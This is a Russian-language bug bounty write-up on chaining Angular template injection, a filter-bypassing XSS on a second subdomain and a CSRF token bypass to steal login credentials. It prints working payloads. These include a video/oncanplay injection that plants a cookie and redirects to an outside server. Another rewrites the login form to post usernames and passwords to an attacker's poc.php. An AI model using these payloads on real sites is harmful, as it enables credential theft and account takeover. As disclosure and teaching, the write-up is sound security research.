Давным-давно, в далекой галактике хакинга… была форма входа, построенная на Angular. Эта история о том, как я смог украсть учетные данные, используя инъекцию шаблона Angular, XSS-уязвимость, и про обход CSRF защиты. Настоящий целевой сайт раскрыть нельзя, поэтому назову его redacted.com.

Инъекция шаблона Angular

При посещении https://subdomain.redacted.com, Wappalizer подсказал мне, что страница построена на Angular версии 1.8.2. На главной странице сайта находилась форма входа, которую я проверил на наличие инъекции шаблона Angular. Я ввёл {{7*7}} в качестве имени пользователя и «xxx» в качестве пароля. После нажатия кнопки входа, в поле ввода имени пользователя я увидел число 49. Значит, я успешно осуществил инъекцию шаблона Angular. Отлично!

Теперь настала очередь проверить сайт на наличие XSS. Обнаружив подходящий шаблон для Angular версий начиная с 1.6+, я воспользовался следующей нагрузкой:

{{constructor.constructor('alert(document.domain)')()}}

Поместив это в поле имени пользователя и нажав кнопку входа, я получил алерт. Ура! Уже хорошо. Но на данный момент я получил лишь self-XSS, что практически бесполезно.

Обход защиты от CSRF – превращение self-XSS в POST-based XSS

Форма входа использовала метод HTTP POST, поэтому следующим шагом было попытаться превратить self-XSS в POST-based XSS. Я скопировал форму в файл и попытался отправить, однако возникла ошибка.

В форме я заметил скрытое поле RequestVerificationToken:

<input name=”__RequestVerificationToken” type=”hidden” value=”wdvSsmrUEwOgqYbVXhGVM9QrRvuJ6Q1qECY0IdLheg_BZBi-nKix0KmO4Hhc3qsN7PLKR3S7_ruvTh9Zm7RCiuo2jntoBNGjkAQ0_LGj8T81″ />

Именно оно стало причиной провала моего эксперимента. Форма защищена с помощью CSRF-токена. Я попробовал несколько стандартных способов обхода, но ничего не сработало. Затем я проанализировал POST-запрос, отправляемый при попытке входа, и обнаружил ещё один RequestVerificationToken, передаваемый как cookie:

__RequestVerificationToken_L2HvYbluXTkr:S6X0D6jm1iP_Mu7srWO2srOcPW36oxZcrc2q8j6b1Ts_PeB3wxLteCsZdWE

Таким образом, защита от CSRF-атак основывалась одновременно на скрытой переменной в форме и специальной куке.

Видимо, приложение было разработано на ASP.NET. Этот токен отличался от значения в самой форме. После тестирования обоих токенов я понял, что необходимо правильно установить оба: и тот, что указан в форме, и тот, что хранится в куке. Тогда я составил следующую схему атаки:

1. Использую PHP curl для загрузки исходного кода страницы, чтобы извлечь оба токена: из cookie, и HTML-кода.

2. Создаю форму с внедрением украденного CSRF-токена (токен формы) и полезной нагрузкой в виде Angular-шаблона.

3. Чтобы задать значение второго CSRF-токена (cookie), необходим доступ к любому субдомену redacted.com, на котором имеется уязвимость XSS, для установки cookie:

document.cookie = "__RequestVerificationToken_L2HvYbluXTkr=TOKENVALUE; path=/; domain=.redacted.com";

   

Поскольку сайт B не может использовать cookie для сайта A, cookie с указанием домена .redacted.com подойдут к любому другому субдомену redacted.com, включая целевую страницу (subdomain.redacted.com).

4. Установив нужный CSRF-cookie с помощью XSS, возвращаюсь обратно к моему скрипту и отправляю форму с нагрузкой Angular-XSS.

5. Итог: да, мой сценарий заработал ?

Обход фильтра XSS для установки cookie CSRF-токена

Сначала мне было сложно обнаружить уязвимый к XSS эндпоинт, но спустя некоторое время я нашел подходящую цель. Назовём её xsssubdomain.redacted.com.

https://xsssubdomain.redacted.com/somewhere/file.cfm

Эта был POST-XSS, а форма не имела ни защиты от CSRF, ни WAF. Тем не менее, там присутствовала фильтрация XSS. Форма состояла из множества полей, и я сосредоточился на первом параметре — адресе. Начав тестировать запросы через Burp Suite, я обнаружил, что могу вставлять фрагменты HTML-контента.

Значение заголовка <h1> успешно рендерилось на сайте — значит, внедрение HTML прошло успешно. Далее я попытался внедрить тег изображения, но потерпел неудачу. Там работал некий фильтр:

И тег <img>, и атрибут src были вырезаны. Следующим шагом я попробовал воспользоваться внедрением сценария (script), но столкнулся с ошибкой «Недопустимый тег»:

Я выяснил, что фильтр работает по принципу чёрного списка, удаляя определённые теги и события. Поэтому я решил искать те элементы, которые не попадают под запрет. Для этого я скопировал список всех возможных тегов и событий из руководства по XSS на портале PortSwigger: https://portswigger.net/web-security/cross-site-scripting/cheat-sheet. Затем я воспользовался мощным расширением Turbo Intruder (https://portswigger.net/bappstore/9abaa233088242e8be252cd4ff534988) для Burp Suite от Джеймса Кеттла. Так как я пользуюсь бесплатной версией Burp Community Edition, стандартный Intruder довольно медленно обрабатывал запросы. Именно поэтому я выбрал ускоренную версию.

Собрав все разрешённые теги, я приступил ко второму этапу проверки, поиску подходящего события. Моя цель заключалась в поиске комбинации элементов, позволяющей построить рабочий XSS-эксплойт. Оказалось, что событие onauxclick не заблокировано, благодаря чему я сумел собрать первую часть нагрузки:

XXX" onauxclick=document.write(document.domain)

Так как нагрузка внедрялась внутри тега <input>, она требовала взаимодействия пользователя — клика правой кнопкой мыши по полю ввода. Эксперимент удался, но это не соответствовало моим ожиданиям — я хотел обойтись без взаимодействия со стороны пользователя. Дальнейшие поиски привели меня к выводу, что тег <video> и событие oncanplay тоже разрешены. Таким образом, я попробовал следующий вариант нагрузки:

Ничего себе! Весь тег целиком был обрезан. Я начал экспериментировать с магическими символами %0d, %0a и %09, соответствующими возврату каретки (CR), переносу строки (LF) и табуляции соответственно, пытаясь обойти фильтр, и это сработало ?. Добавление %0d обмануло фильтр, и вот что получилось:

Чтобы заставить нагрузку заработать, нужен был валидный MP4-файл, поскольку JavaScript-код исполняется, только при воспроизведении фильма. Я создал короткий видеоролик формата MP4 с помощью инструмента https://clideo.com и разместил его онлайн, предположим, по адресу: https://myserver/video.mp4. Я добавил атрибут autoplay, чтобы воспроизведение запускалось автоматически. Затем я включил ссылку на видео в свою нагрузку и...:

HTTP часть была обрезана. Ну почему?! Однако я мог записать тот же самый URL как //myserver/video.mp4, и он оставался неповреждённым. Поэтому я продолжил разработку финальной нагрузки, предназначенной для установки cookie:

XXX”><video autoplay oncanplay%0d=%0ddocument.cookie(“__RequestVerificationToken_L2HvYbluXTkr=TOKENVALUE; domain=.redacted.com; samesite=none”)><source src%0d=”//myserver/video.mp4″ type=”video/mp4″></video><!–

Я добавил в конце нагрузки конструкцию <!--, что немного ускоряет срабатывание эксплоита. Ответ оказался весьма шокирующим.

Куда, чёрт возьми, пропал тег <video>?! — спросил я себя. Спустя некоторое время я осознал, что проблема заключается в имени cookie. Видимо, тут действовал дополнительный уровень фильтрации. Если я задавал имя cookie как '__RequestVerification', нагрузка работала исправно, и ответ приходил нормальным. Стоит добавить хотя бы один лишний символ в конец имени cookie, например, сделать его таким: '__RequestVerificationX', и тег <video> снова исчезал. Я вновь вернулся к экспериментам с волшебными последовательностями символов (%0d, %0a и др.), но ничего не помогало ?. После небольшого перерыва я сделал открытие: строка "__RequestVerificationToken_L2HvYbluXTkr" использовалась в JavaScript-контексте — как аргумент метода document.cookie. Что если применить конкатенацию строк?

"RequestVerification"+"Token_L2HvYbluXTkr"

И представьте себе — это сработало. Некоторые символы пришлось преобразовать в URL-кодировку, и итоговая рабочая нагрузка выглядела так:

XXX"</td><video autoplay oncanplay%0d=%0d'document.write();document.cookie="__RequestVerification"%2b"Token_L2HvYbluXTkr=TOKENVALUE;domain=.redacted.com;path=/;samesite=none";document.location.href="//myserver/POC.php?ret=1%26rvtf=FORMTOKENVALUE"'><source src%0d="//myserver/video.mp4" type="video/mp4"></video><!--

Этот код делает следующее:

- очищает экран, так как веб-сайт с XSS может кратковременно мелькнуть,

- устанавливает RequestVerification cookie через XSS на субдомене,

- перенаправляет пользователя назад на Proof-of-Concept скрипт злоумышленника.

Кража учётных данных с сайта subdomain.redacted.com

Angular-based XSS нагрузка была помещена внутрь формы входа. Я не знаю, удастся ли мне похитить сессионный cookie аутентифицированного пользователя, потому что когда пользователь залогинился, он больше не видит форму входа. У меня даже нет аккаунта на данном ресурсе, чтобы проверить это. Я пришёл к мысли, что лучше всего поместить нагрузку, крадущую вводимые учётные данные непосредственно при входе пользователя. То есть в момент, когда пользователь вводит своё имя и пароль, эти данные отправляются на сервер злоумышленника, сохраняются в файле, а потом возвращаются на настоящий сайт. С точки зрения жертвы кажется, будто произошла обычная ошибка — возможно, неправильный ввод данных.

Сначала я пытался отправлять учётные данные через AJAX-запросы, но они, естественно, блокировались механизмом CORS. Во второй раз я пробовал передать данные через объект img.src, встраивая их в картинку. Такой подход иногда работает, но в моём случае результата не принёс. В ответе (браузер Firefox) появлялась ошибка NS_BINDING_ABORTED. Почему так произошло, остаётся загадкой. Самым простым решением оказалось изменить атрибут action формы и направить отправляемые данные на мой файл poc.php, вместо оригинального сайта. Пришлось закодировать апострофы в HTML-сущности, чтобы включить нагрузку в значение атрибута. Финальная версия нагрузки выглядела примерно так:

{{constructor.constructor('& #39$("div.validation-summary-errors").hide();$("input[type=submit]").click(function(e){$("#loginform").attr("action","//myserver/poc.php");})& #39')()}}

Она выполняла две вещи:

- скрывала сообщение об ошибках при выполнении инъекции шаблона,

- заменяла адрес цели атрибута action на скрипт poc.php.

Скрипт poc.php принимал полученные учётные данные, сохранял их в файле stolen_credentials.txt и перенаправлял жертву обратно на оригинальную форму входа.

PoC на PHP

Ниже представлен полный PHP-код, который объединяет всю цепочку найденных уязвимостей. Извиняюсь за хаотичность, это просто готовый эксплойт :)

Уязвимость типа POST-XSS изначально выходила за рамки программы вознаграждений за баги. Я знал это заранее, но воспринял ситуацию как вызов и надеялся, что мою находку примут, ведь речь шла о серьёзной угрозе захвата аккаунтов пользователей. Несмотря на длительное обсуждение и мои аргументы, отчёт всё равно хотели закрыть как нерелевантный ?.

Обновление: после долгих переговоров с триажерами компания повторно рассмотрела отчёт и риски, связанные с этой уязвимостью, и оценила уровень уязвимости как высокий. ?

Еще больше познавательного контента в Telegram-канале — Life-Hack - Хакер

Комментарии (0)